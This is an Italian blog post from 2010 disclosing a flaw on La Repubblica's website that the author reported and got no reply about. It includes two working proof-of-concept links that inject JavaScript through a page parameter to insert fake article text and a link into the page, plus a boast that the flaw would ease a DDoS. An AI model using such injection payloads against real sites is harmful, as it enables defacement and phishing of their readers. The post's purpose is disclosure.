---
layout: post
status: publish
published: true
title: La Repubblica non tappa il buco…
author:
  display_name: sante gennaro rotondi
  login: sante gennaro rotondi
  email: sante-gennaro-rotondi@blog.santerotondi.net
  url: http://blog.santerotondi.net
author_login: sante gennaro rotondi
author_email: sante-gennaro-rotondi@blog.santerotondi.net
author_url: http://blog.santerotondi.net
excerpt: 'Tempo fa ho casualmente trovato una falla sul sito de La Repubblica, prontamente
  segnalata alla mail della redazione web. Visto che la falla è ancora aperta ed io
  non ho ricevuto risposta.. con due link vediamo perché la cosa non vada affatto
  bene: provate a cliccare qui se usate firefox, qui se usate chrome… Notate
  [...]'
wordpress_id: 352
wordpress_url: http://blog.santerotondi.net/?p=277
date: '2010-08-02 22:54:45 +0000'
date_gmt: '2010-08-02 21:54:45 +0000'
categories:
- PlanetPOuL
tags: []
comments: []
---
<p>Tempo fa ho casualmente trovato una falla sul sito de La Repubblica, prontamente segnalata alla mail della redazione web.</p>
<p>Visto che la falla &egrave; ancora aperta ed io non ho ricevuto risposta.. con due link vediamo perch&eacute; la cosa non vada affatto bene:</p>
<p>provate a cliccare <a href="http://www.repubblica.it/static/includes/common/interstitial.html?href=javascript:document.write('ora%20qui%20ci%20infilo%20un%20falso%20articolo%20e%20magari%20un%20link%20a%20%20%5C%3Ca%5C%20href%5C=%5C%22http%3A%5C/%5C/google.it%5C%22%3Eun%20sito%20malevolo%5C%3C%5C/a%5C%3E');%22>qui</a> se usate firefox, <a href="http://www.repubblica.it/static/includes/common/interstitial.html?href=javascript:$(%22.content%22).append('ora%20qui%20ci%20infilo%20un%20falso%20articolo%20e%20magari%20un%20link%20a%20%20%5C%3Ca%5C%20href%5C=%5C%22http%3A%5C/%5C/google.it%5C%22%3Eun%20sito%20malevolo%5C%3C%5C/a%5C%3E');%22>qui</a> se usate chrome&#8230;</p>
<p>Notate infine l&#8217;indirizzo cui punta il link e immaginate le conseguenze della cosa <img src='http://blog.santerotondi.net/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> </p>
<p>Magari ora che sono stati sputtanati su un blog da 10 visite al giorno prenderanno provvedimenti.. dite di no? Ho menzionato che questa stessa falla permetterebbe agilmente di buttare gi&ugrave; i loro server con un DDOS facile facile? <img src='http://blog.santerotondi.net/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> </p>